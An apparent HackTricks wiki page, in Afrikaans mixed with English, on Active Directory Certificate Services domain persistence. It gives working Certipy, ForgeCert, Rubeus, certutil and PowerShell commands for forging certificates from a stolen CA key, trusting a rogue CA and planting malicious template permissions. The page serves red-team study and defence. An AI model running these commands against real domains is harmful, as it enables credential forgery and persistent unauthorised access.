AD CS Domein-persistensie
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie is 'n samevatting van die domein-persistensie-tegnieke gedeel in https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf. Raadpleeg dit vir verdere besonderhede.
Forging Certificates with Stolen CA Certificates - DPERSIST1
How can you tell that a certificate is a CA certificate?
Dit kan bepaal word dat 'n sertifikaat 'n CA-sertifikaat is indien verskeie voorwaardes nagekom word:
- Die sertifikaat is op die CA-server gestoor, met sy privaat sleutel beveilig deur die masjien se DPAPI, of deur hardeware soos 'n TPM/HSM indien die bedryfstelsel dit ondersteun.
- Beide die Issuer en Subject velde van die sertifikaat stem ooreen met die distinguished name van die CA.
- 'n "CA Version" uitbreiding kom slegs in die CA-sertifikate voor.
- Die sertifikaat het nie Extended Key Usage (EKU)-velde nie.
Om die privaat sleutel van hierdie sertifikaat te onttrek, is die certsrv.msc-instrument op die CA-server die ondersteunde metode via die ingeboude GUI. Nietemin verskil hierdie sertifikaat nie van ander wat in die stelsel gestoor is nie; dus kan metodes soos die THEFT2 technique toegepas word vir onttrekking.
Die sertifikaat en privaat sleutel kan ook verkry word met Certipy met die volgende opdrag:
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
Sodra jy die CA-sertifikaat en sy privaat sleutel in .pfx
-formaat bekom het, kan gereedskap soos ForgeCert gebruik word om geldige sertifikate te genereer:
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
warning
Die gebruiker wat geteiken word vir sertifikaatvervalsing moet aktief wees en in staat wees om in Active Directory te autentiseer sodat die proses kan slaag. Om 'n sertifikaat te vervals vir spesiale rekeninge soos krbtgt is ondoeltreffend.
Hierdie vervalste sertifikaat sal geldig wees tot die gespesifiseerde einddatum en so lank as wat die root CA sertifikaat geldig is (gewoonlik 5 tot 10+ jaar). Dit is ook geldig vir masjiene, dus gekombineer met S4U2Self, kan 'n aanvaller persistentie op enige domeinmasjien handhaaf so lank as wat die CA-sertifikaat geldig is.
Boonop kan die sertifikate wat met hierdie metode gegenereer word nie ingetrek word nie, aangesien die CA nie daarvan bewus is nie.
Werking onder sterk afdwinging van sertifikaatmappings (2025+)
Sinds 11 Februarie 2025 (na die uitrol van KB5014754), stel domeinkontroleerders standaard in op Full Enforcement vir sertifikaatmappings. In praktyk beteken dit jou vervalste sertifikate moet óf:
- Insluit 'n sterk binding aan die geteikende rekening (byvoorbeeld die SID security extension), of
- Gepaard wees met 'n sterk, eksplisiete mapping op die teikenvoorwerp se
altSecurityIdentities
attribuut.
'n Betroubare benadering vir persistentie is om 'n vervalste sertifikaat uit te reik wat gekoppel is aan die gesteelde Enterprise CA en dan 'n sterk, eksplisiete mapping by die slagoffer principal te voeg:
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
Aantekeninge
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See account-persistence for more on explicit mappings.
- Herroeping help verdedigers hier nie: vervalste sertifikate is onbekend aan die CA-database en kan dus nie herroep word nie.
Vertrou Rogue CA Certificates - DPERSIST2
Die NTAuthCertificates
object is gedefinieer om een of meer CA certificates te bevat in sy cacertificate
-attribuut, wat Active Directory (AD) gebruik. Die verifikasiëproses deur die domain controller behels die kontrole van die NTAuthCertificates
object vir 'n inskrywing wat ooreenstem met die CA specified in die Issuer-veld van die autentiserende certificate. Autentisering gaan voort as 'n ooreenstemming gevind word.
'N self-ondertekende CA-sertifikaat kan by die NTAuthCertificates
-object gevoeg word deur 'n aanvaller, mits hulle beheer oor hierdie AD-voorwerp het. Gewoonlik is dit slegs lede van die Enterprise Admin groep, tesame met Domain Admins of Administrators in die forest root’s domain, wat toestemming het om hierdie voorwerp te wysig. Hulle kan die NTAuthCertificates
object wysig met certutil.exe
deur die opdrag certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA
te gebruik, of deur die PKI Health Tool te gebruik.
Addisionele nuttige opdragte vir hierdie tegniek:
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>
# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
Hierdie vermoë is veral relevant wanneer dit saam met 'n vooraf uiteengesette metode gebruik word wat ForgeCert insluit om sertifikate dinamies te genereer.
Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in
altSecurityIdentities
). See AD CS Account Persistence.
Malicious Misconfiguration - DPERSIST3
Geleenthede vir persistence deur security descriptor-wysigings van AD CS-komponente is volop. Wysigings wat in die "Domain Escalation" afdeling beskryf word, kan kwaadwillig deur 'n aanvaller met verhoogde toegang geïmplementeer word. Dit sluit die toevoeging van "control rights" (bv. WriteOwner/WriteDACL/etc.) by sensitiewe komponente in, soos:
- Die CA server’s AD computer object
- Die CA server’s RPC/DCOM server
- Enige descendant AD object or container in
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>
(byvoorbeeld, die Certificate Templates container, Certification Authorities container, die NTAuthCertificates object, ens.) - AD groups delegated rights to control AD CS standaard of deur die organisasie (soos die ingeboude Cert Publishers group en enige van sy lede)
'n Voorbeeld van 'n kwaadwillige implementering sou behels dat 'n aanvaller, wat elevated permissions in die domein het, die WriteOwner
-permit by die verstek User
-sertifikaatsjabloon voeg, met die aanvaller as die principal vir daardie reg. Om dit uit te buit, sou die aanvaller eers die eienaarskap van die User
-sjabloon na homself verander. Daarna sou die mspki-certificate-name-flag
op 1 op die sjabloon gestel word om ENROLLEE_SUPPLIES_SUBJECT
te aktiveer, wat 'n gebruiker toelaat om 'n Subject Alternative Name in die versoek te voorsien. Vervolgens kan die aanvaller die template enroll deur 'n domain administrator-naam as 'n alternatiewe naam te kies, en die verkrygde sertifikaat gebruik vir authenticatie as die DA.
Praktiese instellings wat aanvallers mag stel vir langdurige domein persistence (sien AD CS Domain Escalation vir volle besonderhede en opsporing):
- CA policy flags that allow SAN from requesters (e.g., enabling
EDITF_ATTRIBUTESUBJECTALTNAME2
). This keeps ESC1-like paths exploitable. - Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
). - Controlling the
NTAuthCertificates
object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
tip
In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (altSecurityIdentities
) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
References
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.